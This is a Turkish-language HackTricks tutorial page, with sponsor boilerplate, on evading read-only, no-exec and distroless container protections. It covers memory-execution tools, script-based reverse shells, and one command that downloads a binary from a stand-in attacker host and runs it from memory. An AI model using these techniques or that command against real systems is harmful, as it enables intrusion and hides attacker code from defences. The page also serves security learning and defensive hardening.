# FS korumalarını atlatma: salt okunur / no-exec / Distroless
AWS hackleme becerilerini sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com) * [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in (https://opensea.io/collection/the-peass-family) bulunduğu koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşulması gerekmektedir_). {% embed url="https://www.stmcyber.com/careers" %} ## Videolar Aşağıdaki videolarda bu sayfada bahsedilen teknikleri daha detaylı açıklanmış şekilde bulabilirsiniz: * [**DEF CON 31 - Gizlilik ve Kaçınma için Linux Bellek Manipülasyonu Keşfi**](https://www.youtube.com/watch?v=poHirez8jk4) * [**DDexec-ng ve bellek içi dlopen() ile Gizli sızıntılar - HackTricks Takip 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU) ## salt okunur / no-exec senaryosu Özellikle konteynerlerde **salt okunur (ro) dosya sistemi koruması** ile donatılmış Linux makinelerini bulmak artık daha yaygın hale gelmektedir. Bu, salt okunur dosya sistemiyle bir konteyner çalıştırmak için `securitycontext` içinde **`readOnlyRootFilesystem: true`** ayarlamak kadar kolaydır:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]
Ancak, dosya sistemi salt okunur olarak bağlanmış olsa bile, **`/dev/shm`** hala yazılabilir olacaktır, bu nedenle diske herhangi bir şey yazamayacağımızı düşünmek yanıltıcı olacaktır. Bununla birlikte, bu klasör **no-exec koruması ile bağlanacaktır**, bu nedenle buraya bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**. {% hint style="warning" %} Kırmızı takım bakış açısından, bu, sistemde zaten olmayan (arka kapılar veya `kubectl` gibi numaralandırıcılar gibi) ikili dosyaları **indirip çalıştırmayı karmaşık hale getirir**. {% endhint %} ## En Kolay Atlatma: Betikler İkili dosyaları bahsettiğimi unutmayın, **yürütülebilir herhangi bir betik**'i, yorumlayıcının makinede olması koşuluyla yürütebilirsiniz, örneğin `sh` mevcutsa bir **kabuk betiği** veya `python` yüklüyse bir **python betiği**. Ancak, bu, ikili geri kapı veya çalıştırmanız gerekebilecek diğer ikili araçları çalıştırmak için yeterli değildir. ## Bellek Atlatmaları Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin vermiyorsa, bunu yapmanın en iyi yolu, **bellekten çalıştırmaktır**, çünkü **korumalar orada uygulanmaz**. ### FD + exec sistem çağrısı atlatması Makinede **Python**, **Perl** veya **Ruby** gibi güçlü betik motorlarına sahipseniz, ikili dosyayı bellekten çalıştırmak için indirebilir, onu bir bellek dosya tanımlayıcısında saklayabilirsiniz (`create_memfd` sistem çağrısı), bu korumalar tarafından korunmayacak ve ardından bir **`exec` sistem çağrısı** yaparak **fd'yi çalıştırılacak dosya olarak belirtebilirsiniz**. Bunun için [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kolayca kullanabilirsiniz. Bir ikili dosya iletebilir ve onu **b64 kodlanmış ve şifrelenmiş** bir şekilde içeren belirtilen dilde bir betik oluşturacak ve `create_memfd` sistem çağrısını çağırarak oluşturulan bir **fd** içinde **ikiliyi çözümlemek ve sıkıştırmak** için talimatlarla birlikte bir **exec** sistem çağrısını çalıştıracaktır. {% hint style="warning" %} Bu, PHP veya Node gibi diğer betik dillerinde çalışmaz çünkü bunlar bir betikten **ham sistem çağrıları** çağırmak için herhangi bir **varsayılan yol**a sahip değillerdir, bu nedenle `create_memfd`'yi çağırmak için **bellek fd**'si oluşturulamaz. Ayrıca, `/dev/shm` içinde bir dosya ile **düzenli bir fd** oluşturmak çalışmayacaktır, çünkü **no-exec koruması** uygulanacağından çalıştırmanıza izin verilmeyecektir. {% endhint %} ### DDexec / EverythingExec [**DDexec / EverythingExec**](https://github.com/arget13/DDexec), kendi işleminizin **`/proc/self/mem`**'ini üzerine yazarak işlemin **belleğini değiştirmenizi** sağlayan bir tekniktir. Bu nedenle, işlem tarafından yürütülen derleme kodunu kontrol ederek bir **shellcode** yazabilir ve işlemi **herhangi bir keyfi kodu çalıştırmak üzere değiştirebilirsiniz**. {% hint style="success" %} **DDexec / EverythingExec**, kendi **shellcode**'unuzu veya **bellekten herhangi bir ikili dosyayı** yüklemenize ve **çalıştırmanıza izin verecektir**. {% endhint %} ```bash # Basic example wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar ``` ### MemExec [**Memexec**](https://github.com/arget13/memexec), DDexec'in doğal bir sonraki adımıdır. Herhangi bir farklı ikili dosyayı çalıştırmak istediğinizde DDexec'i yeniden başlatmanıza gerek kalmadan, DDexec tekniği aracılığıyla memexec shellcode'u çalıştırabilir ve ardından bu deamon ile iletişim kurarak yeni ikili dosyaları yükleyip çalıştırabilirsiniz. PHP ters kabuk kullanarak **memexec'i nasıl kullanacağınıza dair bir örnek** [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) adresinde bulunabilir. ### Memdlopen DDexec'e benzer bir amaçla, [**memdlopen**](https://github.com/arget13/memdlopen) tekniği, daha sonra bunları çalıştırmak için belleğe ikili dosyaları yüklemenin daha kolay bir yolunu sağlar. Bağımlılıkları olan ikili dosyaları bile yüklemeyi mümkün kılabilir. ## Distroless Atlatma ### Distroless nedir Distroless konteynerler, yalnızca belirli bir uygulamayı veya hizmeti çalıştırmak için gerekli olan en temel bileşenleri içerir; kütüphaneler ve çalışma zamanı bağımlılıklarını içerir, ancak bir paket yöneticisi, kabuk veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar. Distroless konteynerlerin amacı, gereksiz bileşenleri ortadan kaldırarak konteynerlerin saldırı yüzeyini azaltmak ve sömürülebilecek güvenlik açıklarının sayısını en aza indirmektir. ### Ters Kabuk Distroless konteynerlerde genellikle düzenli bir kabuk elde etmek için `sh` veya `bash` bulamayabilirsiniz. Ayrıca, genellikle bir sistemde çalıştırdığınız `ls`, `whoami`, `id` gibi ikili dosyaları da bulamazsınız. {% hint style="warning" %} Bu nedenle, genellikle sistemde yaptığınız gibi bir **ters kabuk alamayacak** veya **sistem üzerinde numaralandıramayacaksınız**. {% endhint %} Ancak, ele geçirilen konteyner örneğinde örneğin bir flask web çalışıyorsa, o zaman python yüklüdür ve dolayısıyla bir **Python ters kabuk** alabilirsiniz. Node çalışıyorsa, bir Node ters kabuk alabilirsiniz ve aynı şekilde çoğu **betik dili** ile yapabilirsiniz. {% hint style="success" %} Betik dili kullanarak dilin yeteneklerini kullanarak **sistemi numaralandırabilirsiniz**. {% endhint %} Eğer **`read-only/no-exec`** korumaları yoksa, ters kabuğunuzu kullanarak dosya sistemine **ikili dosyalarınızı yazabilir** ve **çalıştırabilirsiniz**. {% hint style="success" %} Ancak, bu tür konteynerlerde genellikle bu korumalar bulunacaktır, ancak bunları atlatmak için **önceki bellek yürütme tekniklerini kullanabilirsiniz**. {% endhint %} **RCE güvenlik açıklarını sömürmek** için **örnekler** ve bellekten ikili dosyaları çalıştırmak için **nasıl kötüye kullanılacağına dair örnekler** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulunabilir.